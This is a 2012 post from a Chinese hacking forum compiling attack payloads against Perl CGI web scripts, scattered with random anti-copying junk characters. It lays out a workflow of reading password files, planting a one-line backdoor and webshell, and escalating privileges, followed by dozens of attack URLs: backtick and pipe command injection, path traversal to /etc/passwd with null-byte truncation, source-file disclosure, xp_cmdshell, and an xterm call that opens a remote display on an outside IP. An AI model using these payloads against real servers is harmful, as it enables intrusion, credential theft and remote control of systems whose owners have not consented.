找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2745|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  5 j1 l1 _- Y" D) t: C
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  / n# w: x  C/ e9 O1 z) O
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
- H" {' w7 m  P" \" v注“  9 I! O9 F( _/ C, i
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。    N0 B9 N" j0 R. C/ z# V$ m. U
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
5 @  C0 H, j3 o) Q( J9 O, `3 M2 a: m! C
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  - \% E7 L& U' s( }7 D
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
' H  ?! b' d  b- Y- w7 Ihttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  2 l' F  A+ b' g9 l% z2 C6 f* M
http://target.com/cgi-bin/home/news/sub.pl?`id`  
& B" X( I1 f1 n9 x1 c! khttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
9 F7 s- \7 |% Q/ P2 X& \% P0 ]+ yhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  ! M9 s( |, \- F! L

: W4 d. f! e3 g. P- o, `http://target.com/test.pl;ls|  
% g, l% U1 [4 K( jhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ( p5 [# g4 H4 {2 K% k
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  * [& ]& O( }& Y
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  . E0 y% J7 R+ {2 K. f- s, ^
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
: o. A4 M, Z2 e0 o; }6 {8 ?' `http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  4 B, _% q/ S& H* f4 [2 |1 X# f
3 `( O* H; u' n$ [- D# X( f
http://target.com/test.pl?&........ /../../etc/passwd  
1 ?. O) S4 J8 ?2 Y" D# x% d. G3 y: c% f! F$ Z% F. o
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
  v' p. b: _& X$ Q; P5 thttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
% x0 ^3 S* z8 i8 \$ Khttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  5 l( g. y5 i6 X' U4 ^
: M% M' u3 F0 \( `
http://www.target.org/show.php?f ... /include/config.php 查看php代码  1 ^' j: a. ^+ E/ H. o; H7 Z/ p9 A, V
http://www.target.org/show.php?f ... ng/admin/global.php  2 U0 @  w6 |/ ?1 e7 n

! `1 Y2 L+ X2 g; h5 H) [1 C' jemm和ps的一句话8 d; ]" h+ X6 e  d2 l

6 t9 H6 c0 q3 A0 K* K0 b0 fhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  5 u7 e5 ?  U2 ?4 k+ o
; _* |" ?9 k( T# g0 a4 Z
>bbb%20|  8 W7 `% R8 Y! T/ E& c

. {8 A% I% l9 o( Yhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  0 Z7 l- {2 }& G: u+ R( q
1 l7 V) @. L8 h/ y
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
! [' K; ?; I0 `; L6 `! R; t9 Thttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  / y& D  N+ E6 H/ g- B& [

5 S$ ?# F& K/ k; k7 v. {/ Q相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  8 C0 H$ X9 b$ D
http://target.com/index.html#cmd.exe  1 Y: P3 c/ e2 P" g0 _% O" ]
http://target.com/index.html?dummyparam=xp_cmdshell  
- R5 p& O, c' ^& S6 c! f# v6 Tlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  & A- f/ D+ I- v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表